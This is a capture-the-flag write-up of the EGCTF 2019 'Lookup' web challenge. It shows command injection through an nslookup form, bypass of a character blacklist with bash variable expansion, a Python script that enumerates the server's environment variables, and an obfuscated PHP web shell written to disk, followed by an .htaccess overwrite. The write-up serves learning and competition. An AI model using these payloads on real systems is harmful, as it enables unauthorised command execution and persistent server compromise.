EGCTF — Lookup challenge writeup (400pts)

Ahmed Sherif
5 min readNov 18, 2019

--

By Ahmed Sherif

In this write-up, I’m going to walk you through one of the most interesting challenges I have been playing recently together with my teammates in the EGCTF 2019.

Start

When we got started with the challenge, we get the following lookup page.

The first idea that could pop-up in anyone mind is that we can do ‘command injection’ through the ‘nslookup’ command.

Fuzzing

We started doing some fuzzing with basic command injection characters to assess the behaviour of the application and ended up with the following:

Fuzzing with some basic characters

By looking into the allowed characters we can assume that the challenge would be solved with the variable expansion.

Additionally, the ‘*’ character was allowed, by making use of it, it was found that we can see part of the list of the current files.

Only one file is printed out of the ‘*’ command.

The /proc/self/fd/1 trick

There is already a nice trick where you can redirect the output to the terminal output.

More information: https://www.reddit.com/r/linux/comments/22vb8w/a_cool_trick_with_procselffd/

Combining all Together

We cannot execute the following command because of the black-listed

* > /proc/self/fd/1
Command blocked

As seen in the above screenshot, this did not work out because of black-listed characters, so we do combine it with the variable expansion as below:

*> ${PATH:0:1}proc${PATH:0:1}$$${PATH:0:1}fd${PATH:0:1}1

You can have a look at variable expansion from here: https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html

Index backup source code

Checking the ‘index.php.bak’, we end-up with the source code of the PHP file as follows:

Test Regex

There is a nice online service by regex101.com which allows you to write-down your regex and do the string tests on it.

Regex checker

A quick explanation: we have been ‘substring’ of the ‘PATH’ environment variable to get ‘/’ character since its black-listed.

➜  ~ echo ${PATH:0:1}/➜  ~ echo ${PATH:0:2}/u➜  ~ echo ${PATH:0:3}/us➜  ~ echo ${PATH:0:4}/usr➜  ~

Based on the above example we can form-up our payloads to override/replace any black-listed characters. However, do we really have enough characters from the environment variables?

Looking at the full string of ‘PATH’, it does not really give all possible characters to form-up our payload.

The full string of ‘PATH’

Enumerating the rest of variables

So far, we only know the ‘PATH’ variable and we need to get more characters to be able to form-up our payloads. By making use of the following formation:

${!A*} > ${PATH:0:1}proc${PATH:0:1}$$${PATH:0:1}fd${PATH:0:1}1

We will be able to retrieve all the environment variable starting with ‘A’. We wrote a quick python script to get all the environment variables existing.

#!/usr/bin/env pythonimport requestsdef fuzz(url,parameter,method,string):
chars = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
for char in chars:
parameters = {'host': '${!'+char+'*} > ${PATH:0:1}proc${PATH:0:1}$$${PATH:0:1}fd${PATH:0:1}1'}
r = requests.get(url,params = parameters)
if string in r.text:
chars.remove(char)
else:
print(r.text)
print(r.text)
fuzz('http://167.172.236.59/l00kup/index.php','test','GET','Hacking Attempt!!')

We end-up with many variables that can be used in our payloads

APACHE_LOCK_DIR 
APACHE_LOG_DIR
APACHE_PID_FILE
APACHE_RUN_DIR
APACHE_RUN_GROUP
APACHE_RUN_USER
APIKEY
BASH BASHOPTS
BASHPID
BASH_ALIASES
BASH_ARGC
BASH_ARGV
BASH_CMDS BASH_COMMAND
BASH_EXECUTION_STRING
BASH_LINENO
BASH_SOURCE BASH_SUBSHELL
BASH_VERSINFO
BASH_VERSION
COMP_WORDBREAKS
Connection
DIRSTACK
EUID
GROUPS
HISTCMD
HOSTNAME
HOSTTYPE
IFS
INVOCATION_ID
JOURNAL_STREAM
LANG
LINENO
Licenseid
MACHTYPE
OPTERR
OPTIND
OSTYPE
PATH POSIXLY_CORRECT
PPID
PS4
PWD
RANDOM
SECONDS
SHELL
SHELLOPTS
SHLVL
TERM
UID

Doing the enumeration to get the content of each variable, placed it into the intruder and got the following results:

Results for the content of the variables

Now we can get many characters which would allow us to write down our own PHP shell. Looking at the following part of the source code:

We see that the application is taking the user IP address and create a file with ‘.htaccess’ to deny access to everyone. hence, even if we succeeded in uploading our own shell, we will get ‘access denied — Forbidden’.

Forming up the PHP shell

Let's assume that we would like to write down the below shell:

<?php system($_GET['cmd']);?>

We will now do the replacement as we figured out in the enumerated variables.

The equivalent string will be as follows:

${COMP_WORDBREAKS:7:1}?php system${COMP_WORDBREAKS:12:1}${Connection:11:1}${HOSTTYPE:3:1}GET[c]${Licenseid:35:35}${COMP_WORDBREAKS:9:1}?${COMP_WORDBREAKS:6:1} 

Now we will write the PHP shell in our ‘tmp/’ directory.

${COMP_WORDBREAKS:7:1}?php system${COMP_WORDBREAKS:12:1}${Connection:11:1}${HOSTTYPE:3:1}GET[c]${Licenseid:35:35}${COMP_WORDBREAKS:9:1}?${COMP_WORDBREAKS:6:1} > tmp${PATH:0:1}users_data${PATH:0:1}b7c871301d2a6152b1f1f7eb6b59c2ef${PATH:0:1}file.php

One last step needed:

The htaccess will not allow us to access the shell since we have to write access, we will over-ride the htaccess with ‘Allow from all’ as below:

"allow from all" > tmp${PATH:0:1}users_data${PATH:0:1}b7c871301d2a6152b1f1f7eb6b59c2ef${PATH:0:1}.htaccess

We are good to go:

Let's navigate to the PHP shell:

Voila! We made it.

Conclusion

We have really enjoyed the CTF, learnt a lot of stuff and had a lot of fun. Additionally, we ended up with the 2nd place 😀

0xd34db33f

--

--

Ahmed Sherif
Ahmed Sherif

Written by Ahmed Sherif

OSCP | Red Teamer | CTF player | https://ahmedsherif.github.io/ | @sherif_ninja

No responses yet